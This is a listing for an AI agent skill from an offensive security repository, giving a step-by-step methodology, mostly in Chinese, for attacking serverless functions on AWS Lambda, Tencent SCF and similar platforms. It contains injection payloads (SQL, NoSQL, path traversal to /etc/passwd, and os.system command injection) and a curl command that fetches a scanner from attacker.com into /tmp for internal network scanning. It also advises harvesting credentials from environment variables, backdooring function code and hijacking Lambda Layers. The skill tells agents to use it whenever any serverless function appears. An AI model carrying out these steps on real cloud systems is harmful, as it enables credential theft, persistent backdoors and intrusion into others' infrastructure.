serverless-attack
$
npx mdskill add wgpsec/AboutSecurity/serverless-attackAttack serverless functions by injecting events, extracting secrets, and modifying code.
- Extracts hardcoded credentials and analyzes vulnerable function code.
- Integrates with AWS Lambda, Tencent SCF, Alibaba FC, and Azure Functions.
- Executes commands from reference files to enumerate functions and trigger attacks.
- Reports findings on event injection, runtime exploitation, and code coverage.
SKILL.md
.github/skills/serverless-attackView on GitHub ↗
---
name: serverless-attack
description: "Serverless/云函数安全测试与攻击。当目标涉及 AWS Lambda、腾讯云 SCF、阿里云 FC、Azure Functions 等 Serverless 服务时使用。当发现 API Gateway 后端是 Lambda/SCF 触发、通过 cloud-aksk-exploit 获取到函数操作权限、或需要分析云函数代码中的漏洞时使用。覆盖事件注入(HTTP/OSS/消息队列触发器参数篡改)、环境变量泄露(硬编码凭据提取)、函数代码注入/覆盖(UpdateFunctionCode)、Runtime 利用(/tmp 写入/Layer 劫持/依赖投毒)、临时凭据滥用。发现任何 Lambda/SCF/云函数、API Gateway、或 Serverless 架构时都应使用此 skill"
metadata:
tags: "serverless,lambda,scf,云函数,function,api gateway,事件注入,环境变量,runtime,layer,触发器,临时凭据"
category: "cloud"
---
# Serverless/云函数攻击方法论
Serverless 函数运行在短暂的容器中,传统的持久化和横向移动思路不适用。攻击重点是:事件注入(输入篡改)、凭据提取(环境变量/临时 Token)、代码注入(修改函数代码)。
## 按云平台查阅详细命令
识别云平台后,加载对应 reference 获取完整命令:
- AWS Lambda → [references/lambda-techniques.md](references/lambda-techniques.md)
- 腾讯云 SCF → [references/scf-techniques.md](references/scf-techniques.md)
## Phase 0: 通用信息收集
不论哪个云平台,第一步都是枚举函数列表、获取函数详情(代码 + 配置 + 环境变量)。具体命令参见对应 reference。
## Phase 1: 环境变量提取(最快获取凭据的方式)
开发者经常在环境变量中硬编码数据库密码、API Key、其他服务凭据。常见敏感变量名:
- `DB_PASSWORD`, `DATABASE_URL`, `MONGODB_URI`
- `AWS_ACCESS_KEY_ID`(嵌套凭据)、`TENCENTCLOUD_SECRET_ID`
- `SECRET_KEY`, `JWT_SECRET`, `API_KEY`
- `REDIS_URL`, `SMTP_PASSWORD`
## Phase 2: 函数代码分析
```python
# 搜索硬编码凭据
grep -rn "password\|secret\|key\|token\|credential" lambda_code/
# 搜索不安全的输入处理
grep -rn "eval\|exec\|os.system\|subprocess\|pickle\|yaml.load" lambda_code/
# 搜索 SQL 拼接
grep -rn "format\|f'\|%s.*query\|execute" lambda_code/
# 检查依赖版本
cat lambda_code/requirements.txt # Python
cat lambda_code/package.json # Node.js
```
## Phase 3: 事件注入
Serverless 函数通过"事件"触发,事件数据就是输入——如果函数没有正确校验事件数据,就可以注入。
### 3.1 API Gateway → Lambda/SCF 注入
API Gateway 将 HTTP 请求封装为事件传给函数:
```json
{
"httpMethod": "POST",
"path": "/api/query",
"queryStringParameters": {"id": "1' OR '1'='1"},
"body": "{\"username\": {\"$ne\": \"\"}}",
"headers": {"X-Forwarded-For": "127.0.0.1"}
}
```
常见注入点:
- `queryStringParameters` → SQL/NoSQL 注入
- `body` → 反序列化/命令注入
- `headers` → SSRF/日志注入
- `pathParameters` → 路径遍历
### 3.2 OSS/COS/S3 触发器注入
对象存储触发器将文件信息作为事件:
```json
{
"Records": [{
"s3": {
"bucket": {"name": "my-bucket"},
"object": {"key": "../../../etc/passwd"}
}
}]
}
```
如果函数用 `event['key']` 拼接文件路径做 `open()` → 路径遍历。
如果函数处理上传的文件内容(如 XML/图片/CSV)→ XXE/SSRF/命令注入。
### 3.3 消息队列触发器
SQS/CMQ/Kafka 消息作为事件传入:
```json
{"Records": [{"body": "'; import os; os.system('id'); '"}]}
```
## Phase 4: 代码注入/覆盖
需要 UpdateFunctionCode 权限。具体命令参见对应云平台 reference。
核心思路:用恶意代码替换函数,让函数既执行原始功能又植入后门(如接受 cmd 参数执行命令)。
### Layer 劫持(AWS Lambda 特有)
Lambda Layers 是共享的代码库,修改 Layer 可以影响所有使用它的函数。详见 [references/lambda-techniques.md](references/lambda-techniques.md)。
## Phase 5: Runtime 环境利用
### /tmp 目录利用
Serverless 函数的 /tmp 是唯一可写目录,且在"热启动"时会保留:
```bash
# 写入工具到 /tmp
curl -o /tmp/fscan http://attacker.com/fscan && chmod +x /tmp/fscan
# 如果函数有内网访问权限(VPC 中),可以用 /tmp 的工具做内网扫描
/tmp/fscan -h 172.16.0.0/16 -p 22,3306,6379
```
## 决策树
```
发现 Serverless 函数
├── 识别云平台 → 加载对应 reference(lambda-techniques / scf-techniques)
├── 有 GetFunction 权限 → 下载代码 → 审计 → 找漏洞/凭据
├── 有 GetFunctionConfiguration 权限 → 读环境变量 → 提取凭据
├── 有 UpdateFunctionCode 权限 → 注入后门 → RCE
├── 有 Invoke 权限 → 构造恶意事件 → 事件注入
├── 只有 API Gateway 入口 → HTTP 请求层注入(SQLi/NoSQL/SSRF)
└── 无直接权限 → 通过 S3/COS 触发器上传恶意文件
```
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|